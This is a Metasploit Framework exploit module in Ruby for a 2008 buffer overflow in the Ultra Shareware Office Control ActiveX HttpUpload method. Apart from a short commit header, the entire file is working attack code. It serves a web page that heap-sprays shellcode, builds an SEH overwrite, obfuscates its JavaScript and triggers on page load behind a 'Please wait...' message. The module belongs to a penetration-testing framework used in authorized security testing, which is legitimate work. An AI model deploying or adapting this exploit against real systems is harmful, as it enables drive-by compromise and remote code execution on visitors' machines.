Michael Schierl
910644400d
All other types of references use String arguments, but approximately half of the EDB references use Fixnums. Fix this by using Strings here too.
148 lines
3.6 KiB
Ruby
148 lines
3.6 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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include Msf::Exploit::Remote::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Ultra Shareware Office Control ActiveX HttpUpload Buffer Overflow',
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'Description' => %q{
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This module exploits a stack-based buffer overflow in Ultra Shareware's Office
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Control. When processing the 'HttpUpload' method, the arguments are concatenated
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together to form a command line to run a bundled version of cURL. If the command
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fails to run, a stack-based buffer overflow occurs when building the error
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message. This is due to the use of sprintf() without proper bounds checking.
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NOTE: Due to input restrictions, this exploit uses a heap-spray to get the payload
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into memory unmodified.
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'shinnai', 'jduck' ],
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2008-3878' ],
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[ 'OSVDB', '47866' ],
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[ 'BID', '30861' ],
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[ 'EDB', '6318' ]
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],
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'Payload' =>
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{
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'Space' => 4096,
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'BadChars' => "\x00",
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# For HttpUpload args: "\x80\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8e\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9e\x9f",
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'DisableNops' => true
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},
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'Platform' => 'win',
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'Targets' =>
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[
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# Tested with ActiveX v2.0.0.1020 and v2.0.2008.801
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[ 'Windows Universal',
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{
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'Ret' => 0x0c0c0c0c # heap sprayed
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# 0x746C15A9 # p/p/r in msls31.dll
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# EEK, Safe SEH! 0x220118c2 # p/p/r in OfficeCtrl.ocx
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}
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],
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Aug 27 2008'))
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end
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def autofilter
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false
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end
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def check_dependencies
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use_zlib
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end
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def on_request_uri(cli, request)
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# ActiveX parameters
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progid = "Ultra.OfficeControl"
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clsid = "00989888-BB72-4E31-A7C6-5F819C24D2F7"
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# Set parameters
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fnname = rand_text_alpha(8+rand(8))
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arg1 = rand_text_alphanumeric(128)
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arg2 = rand_text_alphanumeric(4096) * 10
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seh_offset = 252
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# Build the exploit buffer
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sploit = rand_text_alphanumeric(seh_offset)
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sploit << generate_seh_record(target.ret)
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# Encode variables
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sploit = Rex::Text.to_hex(sploit, '%')
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shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
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# Prepare the heap spray parameters
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spray_addr = target.ret
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spray_num = "0x%x" % spray_addr
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# Generate the final javascript
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js = %Q|
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function #{fnname}()
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{
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try {
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var obj = new ActiveXObject("#{progid}");
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var my_unescape = unescape;
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var shellcode = '#{shellcode}';
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#{js_heap_spray}
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sprayHeap(my_unescape(shellcode), #{spray_num}, 0x40000);
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var arg1 = my_unescape("#{arg1}");
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var arg2 = my_unescape("#{arg2}");
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var sploit = my_unescape("#{sploit}");
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obj.HttpUpload(arg1, arg2, sploit);
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} catch( e ) { window.location = 'about:blank' ; }
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}
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# Obfuscate the javascript
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opts = {
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'Strings' => true,
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'Symbols' => {
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'Variables' => %w{ obj my_unescape shellcode arg1 arg2 sploit }
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}
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}
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js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
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js.obfuscate()
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# Build the final HTML
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content = %Q|<html>
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<head>
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<script language=javascript>
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#{js}
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</script>
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</head>
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<body onload="#{fnname}()">
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Please wait...
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</body>
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</html>
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print_status("Sending #{self.name}")
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send_response_html(cli, content)
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handler(cli)
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end
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end
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